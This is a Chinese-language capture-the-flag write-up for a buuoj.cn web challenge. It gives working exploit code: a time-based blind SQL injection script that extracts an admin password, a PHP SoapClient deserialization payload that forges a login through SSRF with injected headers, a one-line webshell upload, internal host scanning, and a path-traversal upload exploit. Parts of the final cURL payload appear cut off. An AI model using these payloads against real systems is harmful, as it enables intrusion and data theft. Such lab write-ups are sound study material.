平台:buuoj.cn
打开靶机是一个登录框
扫描器发现一些文件
后缀有个~
还是第一次见,了解到是编辑器留下的备份文件,访问确实有源码
把几个文件都复制下来看看,seay审计软件爆了几个危险部分
看下位置代码
将传入的参数传到数据库执行。注意到还有一个get_column函数
传入的反引号会被替换成单引号。为sql注入创造了条件
看下哪个方法用到了insert函数
找到:
可以看到我们可以post一个signature去insert,并且这里对于这个参数是没有任何过滤的,所以很容易造成Sql注入
想要publish,就必须登录。
因此我们?action=register
来注册一个账号并登录
然后注册和登录就必须通过code验证
可以看到是一个简单的md5碰撞,脚本爆破即可
import hashlib
def func(md5_val):
for x in range(999999, 100000000):
md5_value=hashlib.md5(str(x).encode(encoding='utf-8')).hexdigest()
if md5_value[:5]==md5_val:
return str(x)
if __name__ == '__main__':
print(func('ac7a2'))
登录成功我们来抓publish的包验证sql注入
根据代码语句构造payload:
那么确认了sql注入的存在,由于回显都是ok,考虑时间盲注
编写脚本:
import requests
url="http://f19eea67-1117-416a-9834-1d58c44d1f53.node3.buuoj.cn/index.php?action=publish"
cookie = {"PHPSESSID":"05gn4tlsacq7pfundd7f89f983"}
k="0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ"
flag=""
for i in range(50):
for j in k:
j = ord(j)
data={
'mood':'0',
'signature':'1`,if(ascii(substr((select password from ctf_users where username=`admin`),{},1))={},sleep(3),0))#'.format(i,j)
}
try:
r=requests.post(url,data=data,cookies=cookie,timeout=(2,2))
except:
flag+=chr(j)
print(flag)
break
至于这里为什么是知道跑admin和ctf_users表,嗯。。。。。看代码得到的
跑出密码的md5:c991707fdf339958eded91331fb11ba0
网站解密得jaivypassword
知道了admin和password,我们来试着登录
却登录失败
原来设置了ip限制
跟进get_ip函数
看来只有真实管理员地址才能登录
这里就出现了另一个考点:soapclient反序列化配合ssrf
通过?action=phpinfo
看到php开启了soap拓展
PHP 中,soap扩展可以用来提供和使用 Web Services,关于Web Services,百度百科
soapclient类则是用来创建soap数据报文,与wsdl接口进行交互,它有几个内置魔术方法
回到代码,showmess函数中有一个反序列化点
反序列化$row[2]
的值也就是$mood
是我们可控的,假如我们把反序列化语句插入到注入语句中,比如
a`,{serialize);#
它传入库中,我们访问index.php?action=index
的时候就会触发
来实际操作一下
首先一个页面保持自己的非admin账号登录状态,另开一个页面不登录,这里为了防止cookie干扰就直接另开一个浏览器
接着开始构造soap,原理参考这位师傅
$target = 'http://127.0.0.1/index.php?action=login';
$post_string = 'username=admin&password=jaivypassword&code=1174162';
$headers = array(
'X-Forwarded-For: 127.0.0.1',
'Cookie: PHPSESSID=c10j7vc0fu9v8gf52qt9st4pr0'
);
$b = new SoapClient(null,array('location' => $target,'user_agent'=>'wupco^^Content-Type: application/x-www-form-urlencoded^^'.join('^^',$headers).'^^Content-Length: '.(string)strlen($post_string).'^^^^'.$post_string,'uri' => "aaab"));
$aaa = serialize($b);
$aaa = str_replace('^^',"\r\n",$aaa);
$aaa = str_replace('&','&',$aaa);
echo bin2hex($aaa);
?>
这里注意code和PHPSESSID要和未登录页面保持一致
把生成的poc在publish插进去
刷新一下?action=index使得库中的数据触发
这时$mood
就是一个soap类,反序列化之后它访问不存在的方法就会触发内置__call()
魔术方法
也就是给该session登录的用户管理员身份
用另一个页面登录管理员账号看看
成功登录
点开publish是一个上传
让我们传图片但啥也没过滤,直接一句话传成功
蚁剑连上
之前说了flag在内网,查看下内网信息
扫下其他内网主机的端口
发现11主机开了80端口
访问下有内容
保存下来
得到源码
有两层需要绕过
第一层数组来绕过,第二层随机文件名用路径穿越绕过。
构造file[1]=aaa&file[0]=php/../blacknight.php
postman构造传入
点击右上方的code选择php-cURL生成代码
但没有我们上传的内容所以要自己构造,这里参考赵总
最终exp:
$curl = curl_init();
curl_setopt_array($curl, array(
CURLOPT_URL => "http://173.24.214.11",
CURLOPT_RETURNTRANSFER => true,
CURLOPT_ENCODING => "",
CURLOPT_MAXREDIRS => 10,
CURLOPT_TIMEOUT => 30,
CURLOPT_HTTP_VERSION => CURL_HTTP_VERSION_1_1,
CURLOPT_CUSTOMREQUEST => "POST",
CURLOPT_POSTFIELDS => "------WebKitFormBoundary7MA4YWxkTrZu0gW\r\nContent-Disposition: form-data; name=\"file\"; filename=\"blacknight.php\"\r\nContent-Type: false\r\n\r\n@,
CURLOPT_HTTPHEADER => array(
"Postman-Token: a23f25ff-a221-47ef-9cfc-3ef4bd560c22",
"cache-control: no-cache",
"content-type: multipart/form-data; boundary=----WebKitFormBoundary7MA4YWxkTrZu0gW"
),
));
$response = curl_exec($curl);
$err = curl_error($curl);
curl_close($curl);
if ($err) {
echo "cURL Error #:" . $err;
} else {
echo $response;
}